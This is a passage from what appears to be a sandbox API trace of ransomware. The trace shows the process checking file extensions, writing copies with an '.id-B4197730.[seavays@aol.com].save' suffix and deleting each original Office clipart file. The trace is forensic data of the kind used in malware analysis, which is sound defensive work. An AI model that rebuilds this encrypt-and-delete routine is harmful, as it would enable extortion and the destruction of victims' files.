Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0173.367] lstrlenW (lpString=".dbf") returned 4 [0173.367] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0173.367] lstrlenW (lpString=".1cd") returned 4 [0173.367] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0173.367] lstrlenW (lpString=".jpg") returned 4 [0173.367] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0173.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0173.367] lstrlenW (lpString=".doc") returned 4 [0173.367] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.367] lstrlenW (lpString=".docx") returned 5 [0173.367] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.367] lstrlenW (lpString=".pdf") returned 4 [0173.367] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.367] lstrlenW (lpString=".xls") returned 4 [0173.367] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.367] lstrlenW (lpString=".xlsx") returned 5 [0173.367] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.367] lstrlenW (lpString=".ppt") returned 4 [0173.367] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0173.367] lstrlenW (lpString=".zip") returned 4 [0173.367] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.367] lstrlenW (lpString=".rar") returned 4 [0173.367] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.367] lstrlenW (lpString=".bz2") returned 4 [0173.367] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.367] lstrlenW (lpString=".7z") returned 3 [0173.368] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0173.368] lstrlenW (lpString=".dbf") returned 4 [0173.368] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0173.368] lstrlenW (lpString=".1cd") returned 4 [0173.368] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0173.368] lstrlenW (lpString=".jpg") returned 4 [0173.368] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.368] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.368] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0173.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0173.369] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=5440) returned 1 [0173.369] CloseHandle (hObject=0x544) returned 1 [0173.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220 [0173.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0173.370] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0173.370] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0173.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0173.371] GetLastError () returned 0x0 [0173.371] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x1540, lpOverlapped=0x0) returned 1 [0173.635] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x1550, lpOverlapped=0x0) returned 1 [0173.636] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0173.637] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0173.637] SetEndOfFile (hFile=0x434) returned 1 [0173.637] CloseHandle (hObject=0x434) returned 1 [0173.637] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0173.637] SetEndOfFile (hFile=0x544) returned 1 [0173.640] CloseHandle (hObject=0x544) returned 1 [0173.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0174.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0174.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0174.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0174.710] lstrlenW (lpString=".doc") returned 4 [0174.710] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0174.710] lstrlenW (lpString=".docx") returned 5 [0174.710] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0174.710] lstrlenW (lpString=".pdf") returned 4 [0174.710] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0174.710] lstrlenW (lpString=".xls") returned 4 [0174.710] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0174.710] lstrlenW (lpString=".xlsx") returned 5 [0174.710] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0174.710] lstrlenW (lpString=".ppt") returned 4 [0174.710] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0174.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0174.710] lstrlenW (lpString=".zip") returned 4 [0174.710] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0174.710] lstrlenW (lpString=".rar") returned 4 [0174.710] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0174.711] lstrlenW (lpString=".bz2") returned 4 [0174.711] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0174.711] lstrlenW (lpString=".7z") returned 3 [0174.711] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0174.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0174.711] lstrlenW (lpString=".dbf") returned 4 [0174.711] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0174.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0174.711] lstrlenW (lpString=".1cd") returned 4 [0174.711] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0174.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0174.711] lstrlenW (lpString=".jpg") returned 4 [0174.711] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0174.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0174.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0174.711] lstrlenW (lpString=".doc") returned 4 [0174.711] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0174.711] lstrlenW (lpString=".docx") returned 5 [0174.711] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0174.711] lstrlenW (lpString=".pdf") returned 4 [0174.711] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0174.711] lstrlenW (lpString=".xls") returned 4 [0174.711] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0174.711] lstrlenW (lpString=".xlsx") returned 5 [0174.711] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0174.711] lstrlenW (lpString=".ppt") returned 4 [0174.711] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0174.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0174.711] lstrlenW (lpString=".zip") returned 4 [0174.711] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0174.711] lstrlenW (lpString=".rar") returned 4 [0174.711] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0174.712] lstrlenW (lpString=".bz2") returned 4 [0174.712] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0174.712] lstrlenW (lpString=".7z") returned 3 [0174.712] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0174.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0174.712] lstrlenW (lpString=".dbf") returned 4 [0174.712] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0174.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0174.712] lstrlenW (lpString=".1cd") returned 4 [0174.712] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0174.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0174.712] lstrlenW (lpString=".jpg") returned 4 [0174.712] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0174.712] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0174.712] lstrlenW (lpString="PARNT_06.MID") returned 12 [0174.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0175.133] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=7768) returned 1 [0175.133] CloseHandle (hObject=0x370) returned 1 [0175.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220 [0175.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0175.135] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0175.135] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0175.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0175.136] GetLastError () returned 0x0 [0175.137] ReadFile (in: hFile=0x370, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x1e58, lpOverlapped=0x0) returned 1 [0175.139] WriteFile (in: hFile=0x524, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x1e60, lpOverlapped=0x0) returned 1 [0175.140] ReadFile (in: hFile=0x370, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0175.140] WriteFile (in: hFile=0x524, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0175.140] SetEndOfFile (hFile=0x524) returned 1 [0175.140] CloseHandle (hObject=0x524) returned 1 [0175.140] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0175.140] SetEndOfFile (hFile=0x370) returned 1 [0175.144] CloseHandle (hObject=0x370) returned 1 [0175.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0175.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0175.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0175.146] lstrlenW (lpString=".doc") returned 4 [0175.146] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.146] lstrlenW (lpString=".docx") returned 5 [0175.146] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0175.146] lstrlenW (lpString=".pdf") returned 4 [0175.146] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.146] lstrlenW (lpString=".xls") returned 4 [0175.146] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.146] lstrlenW (lpString=".xlsx") returned 5 [0175.146] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0175.146] lstrlenW (lpString=".ppt") returned 4 [0175.146] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0175.146] lstrlenW (lpString=".zip") returned 4 [0175.146] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.147] lstrlenW (lpString=".rar") returned 4 [0175.147] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.147] lstrlenW (lpString=".bz2") returned 4 [0175.147] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.147] lstrlenW (lpString=".7z") returned 3 [0175.147] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0175.147] lstrlenW (lpString=".dbf") returned 4 [0175.147] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0175.147] lstrlenW (lpString=".1cd") returned 4 [0175.147] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0175.147] lstrlenW (lpString=".jpg") returned 4 [0175.147] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0175.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0175.147] lstrlenW (lpString=".doc") returned 4 [0175.147] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.147] lstrlenW (lpString=".docx") returned 5 [0175.147] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0175.147] lstrlenW (lpString=".pdf") returned 4 [0175.147] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.147] lstrlenW (lpString=".xls") returned 4 [0175.147] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.147] lstrlenW (lpString=".xlsx") returned 5 [0175.148] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0175.148] lstrlenW (lpString=".ppt") returned 4 [0175.148] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0175.148] lstrlenW (lpString=".zip") returned 4 [0175.148] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.148] lstrlenW (lpString=".rar") returned 4 [0175.148] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.148] lstrlenW (lpString=".bz2") returned 4 [0175.148] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.148] lstrlenW (lpString=".7z") returned 3 [0175.148] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0175.148] lstrlenW (lpString=".dbf") returned 4 [0175.148] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0175.148] lstrlenW (lpString=".1cd") returned 4 [0175.148] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0175.148] lstrlenW (lpString=".jpg") returned 4 [0175.148] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.148] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0175.149] lstrlenW (lpString="PARNT_08.MID") returned 12 [0175.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0175.462] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=7347) returned 1 [0175.462] CloseHandle (hObject=0x370) returned 1 [0175.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220 [0175.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0175.464] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0175.464] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0175.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0175.466] GetLastError () returned 0x0 [0175.466] ReadFile (in: hFile=0x370, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x1cb3, lpOverlapped=0x0) returned 1 [0175.468] WriteFile (in: hFile=0x524, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x1cc0, lpOverlapped=0x0) returned 1 [0175.469] ReadFile (in: hFile=0x370, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0175.469] WriteFile (in: hFile=0x524, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0175.469] SetEndOfFile (hFile=0x524) returned 1 [0175.470] CloseHandle (hObject=0x524) returned 1 [0175.470] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0175.470] SetEndOfFile (hFile=0x370) returned 1 [0175.473] CloseHandle (hObject=0x370) returned 1 [0175.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0175.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0175.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0175.475] lstrlenW (lpString=".doc") returned 4 [0175.475] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.475] lstrlenW (lpString=".docx") returned 5 [0175.475] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0175.475] lstrlenW (lpString=".pdf") returned 4 [0175.475] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.475] lstrlenW (lpString=".xls") returned 4 [0175.475] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.476] lstrlenW (lpString=".xlsx") returned 5 [0175.476] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0175.476] lstrlenW (lpString=".ppt") returned 4 [0175.476] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0175.476] lstrlenW (lpString=".zip") returned 4 [0175.476] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.476] lstrlenW (lpString=".rar") returned 4 [0175.476] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.476] lstrlenW (lpString=".bz2") returned 4 [0175.476] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.476] lstrlenW (lpString=".7z") returned 3 [0175.476] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0175.476] lstrlenW (lpString=".dbf") returned 4 [0175.476] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0175.476] lstrlenW (lpString=".1cd") returned 4 [0175.476] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0175.476] lstrlenW (lpString=".jpg") returned 4 [0175.476] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.476] lstrlenW (lpString="C:\\Program Files\\Microsoft 